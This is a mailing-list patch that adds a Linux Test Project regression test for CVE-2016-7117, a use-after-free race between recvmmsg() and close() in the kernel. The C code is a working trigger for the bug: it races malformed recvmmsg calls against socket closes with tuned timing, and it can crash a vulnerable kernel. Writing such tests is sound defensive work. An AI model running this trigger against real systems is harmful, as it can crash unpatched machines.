From mboxrd@z Thu Jan 1 00:00:00 1970 From: Richard Palethorpe Date: Thu, 23 Mar 2017 16:26:29 +0100 Subject: [LTP] [PATCH 1/4] Test for vulnerability CVE-2016-7117 in recvmmsg error return path Message-ID: <20170323162629.56c4d2d6@linux-v3j5> List-Id: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit To: ltp@lists.linux.it Signed-off-by: Richard Palethorpe --- testcases/cve/cve-2016-7117.c | 191 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 191 insertions(+) create mode 100644 testcases/cve/cve-2016-7117.c diff --git a/testcases/cve/cve-2016-7117.c b/testcases/cve/cve-2016-7117.c new file mode 100644 index 000000000..2a34c369e --- /dev/null +++ b/testcases/cve/cve-2016-7117.c @@ -0,0 +1,191 @@ +/* + * Copyright (c) 2017 Richard Palethorpe + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ +/* + * CVE-2016-7117 + * + * This tests for a use after free caused by a race between recvmmsg() and + * close(). The exit path for recvmmsg() in (a2e2725541f: net: Introduce + * recvmmsg socket syscall) called fput() on the active file descriptor before + * checking the error state and setting the socket's error field. + * + * If one or more messages are received by recvmmsg() followed by one which + * fails, the socket's error field will be set. If just after recvmmsg() calls + * fput(), a call to close() is made on the same file descriptor there is a + * race between close() releasing the socket object and recvmmsg() setting its + * error field. + * + * fput() does not release a file descriptor's resources (e.g. a socket) + * immediatly, it queues them to be released just before a system call returns + * to user land. So the close() system call must call fput() after it is + * called in recvmmsg(), exit and release the resources all before the socket + * error is set. + * + * Usually if the vulnerability is present the test will be killed with a + * kernel null pointer exception. However this is not guaranteed to happen + * every time. To maximise the chance of the race occuring the test tries to + * align the exit times of the final close() and recvmmsg() plus an offset. It + * takes a moving average and uses it to adjust a delay by nanosleep(). + * + * The following was used for reference + * https://blog.lizzie.io/notes-about-cve-2016-7117.html + */ + +#include +#include +#include +#include +#include +#include + +#include "tst_test.h" +#include "tst_safe_net.h" +#include "tst_safe_pthread.h" +#include "tst_timer.h" + +/* The bug was present in the kernel before recvmmsg was exposed by glibc */ +#include "linux_syscall_numbers.h" + +#ifndef CLOCK_MONOTONIC_RAW +#define CLOCK_MONOTONIC_RAW CLOCK_MONOTONIC +#endif + +#define MSG "abcdefghijklmnop" +#define RECV_TIMEOUT 1 +#define ATTEMPTS 0x1FFFFF +#define TARGET_AVG_TDIFF (-1000.0d) +#define ALPHA (0.25d) + +static int socket_fds[2]; +static struct mmsghdr msghdrs[2] = { + { + .msg_hdr = { + .msg_iov = &(struct iovec) { + .iov_len = sizeof(MSG), + }, + .msg_iovlen = 1 + } + }, + { + .msg_hdr = { + .msg_iov = &(struct iovec) { + .iov_base = (void *)(0xbadadd), + .iov_len = ~0, + }, + .msg_iovlen = 1 + } + } +}; +static char rbuf[sizeof(MSG)]; +static struct timespec timeout = { .tv_sec = RECV_TIMEOUT }; +static struct timespec close_exit; +static struct timespec recvmmsg_exit; + +static void cleanup(void) +{ + close(socket_fds[0]); + close(socket_fds[1]); +} + +static inline void exit_time(struct timespec *t) +{ + clock_gettime(CLOCK_MONOTONIC_RAW, t); +} + +static void *send_and_close(void *arg) +{ + struct timespec *delay = (struct timespec *)arg; + + send(socket_fds[0], MSG, sizeof(MSG), 0); + send(socket_fds[0], MSG, sizeof(MSG), 0); + + nanosleep(delay, 0); + + close(socket_fds[0]); + close(socket_fds[1]); + exit_time(&close_exit); + + return 0; +} + +static void run(void) +{ + pthread_t pt_send; + int i, stat, too_early_count = 0; + long tdiff = 0, delay = 0; + double avg_tdiff = 0; + struct timespec recv_delay = {0}, clos_delay = {0}; + + msghdrs[0].msg_hdr.msg_iov->iov_base = (void *)&rbuf; + + for (i = 1; i < ATTEMPTS; i++) { + if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, socket_fds)) + tst_brk(TBROK | TERRNO, "Socket creation failed"); + + SAFE_PTHREAD_CREATE(&pt_send, 0, send_and_close, &clos_delay); + + nanosleep(&recv_delay, 0); + + stat = tst_syscall(__NR_recvmmsg, + socket_fds[1], msghdrs, 2, 0, &timeout); + exit_time(&recvmmsg_exit); + if (stat < 0 && errno == EBADF) + too_early_count++; + else if (stat == 0) + tst_res(TWARN, "No messages received, should be one"); + else if (stat < 0) + tst_res(TWARN | TERRNO, "recvmmsg failed unexpectedly"); + + SAFE_PTHREAD_JOIN(pt_send, 0); + + tdiff = recvmmsg_exit.tv_nsec - close_exit.tv_nsec; + avg_tdiff = ALPHA * tdiff + (1.0d - ALPHA) * avg_tdiff; + if (!(i & 0xF)) { + if (avg_tdiff < TARGET_AVG_TDIFF) + delay++; + else if (avg_tdiff > TARGET_AVG_TDIFF) + delay--; + + if (delay > 0) { + recv_delay.tv_nsec = delay; + clos_delay.tv_nsec = 1; + } else if (delay < 0) { + recv_delay.tv_nsec = 1; + clos_delay.tv_nsec = -delay; + } else { + recv_delay.tv_nsec = 1; + clos_delay.tv_nsec = 1; + } + } + + if (!(i & 0x7FFFF)) { + tst_res(TINFO, "Early: %.1f%%, diff: %ldns, avg_tdiff: %.5gns", + 100 * too_early_count / (float)i, + tdiff, avg_tdiff); + tst_res(TINFO, "Receive delay: %ldns, close delay: %ldns", + recv_delay.tv_nsec, clos_delay.tv_nsec); + } + } + + tst_res(TPASS, "Nothing happened after %d attempts", ATTEMPTS); +} + +static struct tst_test test = { + .tid = "cve-2016-7117", + .test_all = run, + .cleanup = cleanup, + .min_kver = "2.6.33", +}; -- 2.12.0